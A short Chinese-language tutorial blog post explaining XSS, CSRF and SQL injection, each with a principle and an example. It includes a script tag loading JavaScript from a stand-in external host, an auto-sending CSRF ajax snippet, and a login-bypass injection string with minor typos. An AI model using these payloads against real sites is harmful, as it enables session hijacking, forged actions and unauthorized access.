web開發幾種常見的安全問題

XSS

xss是跨站腳本攻擊(cross site script)的簡稱, 簡而言之,就是在目標網站嵌入腳本。
原理:
利用網站輸入校驗不嚴格,在輸入中加入一些代碼,當用戶在訪問加入代碼的頁面時,這些代碼發揮作用。
舉例:
假設csdn的文章評論裏面沒有嚴格校驗,那麼攻擊者可以在評論裏輸入:
<script type="text/javascript" src="http://xxxx.com/xxx.js"></script>
當其他用戶訪問含有上述評論的頁面時,上面的代碼就會變成文章中的標籤。而xxxx.com/xxx.js是用戶自己可以控制的js,那麼攻擊者就可以使用用戶的登錄狀態爲所欲爲了。
同樣這裏也可以用src,link等標籤,只要可以發送請求就可以。

CSRF

csrf是跨站請求僞造(cross site request forqery)的縮寫。
原理:
利用用戶的登錄狀態,在用戶不知情的情況下僞造用戶請求,向目標網站發請求。
舉例:
假設用戶登錄了csdn,然後用戶切換tab到了攻擊者網站下,假設爲 www.cracker.com/attrack.html。attrack.html中有一段自動執行的代碼,用來向csdn發送請求。代碼類似如下:
$.ajax({
	url:"csdn.net/xxxx"		//評論請求發送地址
	data:{content:"mlgb",articleId:1234}
})
這樣就在用戶不知情的狀態下偷偷的給articleId爲1234的文章評論了個mlgb。
攻擊者既然可以發送評論請求,也可以在用戶不知情的情況下發送轉賬啊,購物啊,刪除郵件啊等各種請求。
詳細參考:http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html

SQL注入

sql注入式利用網站對用戶輸入校驗不嚴,而對數據庫入侵。
原理:
利用網站對用戶輸入校驗的不嚴格,並且相關操作的sql是沒有對特殊字符過濾,用戶輸入影響了sql結構,從而讓用戶可以獲得特殊的權限。
舉例:
假設csdn的登錄沒有進行安全校驗,並且登錄查詢sql如:
select uid,username,password form user where username='' and password='';
那麼攻擊者在用戶名輸入框中輸入 test' or 1=1 or userame='x, 在密碼輸入框中輸入 test, 那麼用戶輸入之後登錄sql就變成如下:
select uid,username,password form user where username='test' or 1=1 or userame='x' and password='test';
這樣用戶密碼沒有輸入正確也可以登錄。
上面這些還是簡單的, 如果攻擊者可以試用union的話,網站的整個數據庫都可以被用戶拿走。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章